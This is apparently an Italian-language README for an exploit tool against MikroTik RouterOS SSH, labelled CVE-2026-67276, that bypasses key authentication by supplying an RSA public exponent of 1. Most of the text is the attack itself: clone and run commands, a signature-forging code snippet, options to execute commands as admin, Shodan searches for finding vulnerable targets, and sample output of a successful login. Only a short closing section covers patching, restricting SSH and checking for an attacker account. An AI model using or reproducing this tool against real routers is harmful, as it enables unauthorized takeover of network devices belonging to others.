Verifica RSA Standard:  sig^65537 mod n == atteso  (richiede chiave privata)
Verifica Sfruttata:     sig^1 mod n == sig           (NESSUNA chiave privata necessaria!)

sig^1 mod n == sig

# Clona il repository
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# Installa le dipendenze
pip install paramiko cryptography

# Exploit di base - genera automaticamente la chiave, rileva la versione
python3 full_exploit.py --host 192.168.88.1 --username admin

# Esegui un comando dopo l'autenticazione
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# Porta personalizzata
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

# Se disponi del file di chiave pubblica della vittima
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# Oppure fornisci direttamente il modulo
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

# Forza l'exploit anche su versioni non-MikroTik o sconosciute
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

--host              IP/hostname RouterOS target (obbligatorio)
--port              Porta SSH (predefinita: 22)
--username          Nome utente RouterOS target (obbligatorio)
--pubkey            File di chiave pubblica RSA (auto-generata se non fornita)
--modulus-hex       Modulo RSA in esadecimale (alternativa a --pubkey)
--algos             Algoritmi di firma (predefiniti: ssh-rsa,rsa-sha2-256)
--exec              Comando da eseguire post-autenticazione
--exp-enc           Codifica dell'esponente: canonica (1 byte) o allineata (3 byte)
--timeout           Timeout di connessione (predefinito: 15.0 secondi)
--skip-version-check    Salta la verifica della versione RouterOS
--shodan-dorks      Stampa le query di ricerca Shodan
--shodan-search     Cerca target nell'API Shodan
--shodan-key        Chiave API Shodan
--shodan-query      Query Shodan personalizzata
--shodan-limit      Limite risultati Shodan (predefinito: 100)

python3 full_exploit.py --shodan-dorks

# Ricerca di base
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# Query personalizzata
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

string    "ssh-rsa"
mpint     e (esponente pubblico)  <- L'attaccante fornisce e=1
mpint     n (modulo)          <- Modulo effettivo della vittima

# La "firma" è semplicemente i dati di autenticazione codificati EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # Questa È la firma valida quando e=1

[*] Exploit CVE-2026-67276 MikroTrick
[*] Target: 192.168.88.1:22

[*] Rilevamento versione RouterOS...
[*] Banner SSH: SSH-2.0-ROSSSH-7.23.3
[*] Versione RouterOS: 7.23.3
[+] VERSIONE VULNERABILE - CVE-2026-67276 applicabile

[*] Generazione coppia di chiavi RSA a 2048 bit...
[+] Chiave privata salvata: /path/to/exploit_key
[+] Chiave pubblica salvata:  /path/to/exploit_key.pub
[*] Modulo: 2048-bit | e=1 falsificato
[*] Codifica esponente: canonica (01)

[*] Tentativo rsa-sha2-256 ...
[+] AUTENTICATO come 'admin' tramite rsa-sha2-256
[+] CVE-2026-67276 CONFERMATO - il target è vulnerabile
--- output del comando ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

# Controlla la versione corrente
/system resource print

# Aggiorna alla versione corretta
/system package update download
/system reboot

/ip service disable ssh

# Per indirizzo IP
/ip service set ssh address=192.168.88.0/24

# Regola firewall
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

# Controlla utenti sospetti
/user print

# Controlla l'utente "ops" (indicatore noto di attaccante)
/user print where name=ops

# Controlla lo stato di flag del dispositivo
/system/device-mode/print

# Controlla i log
/log print where topics~"ssh"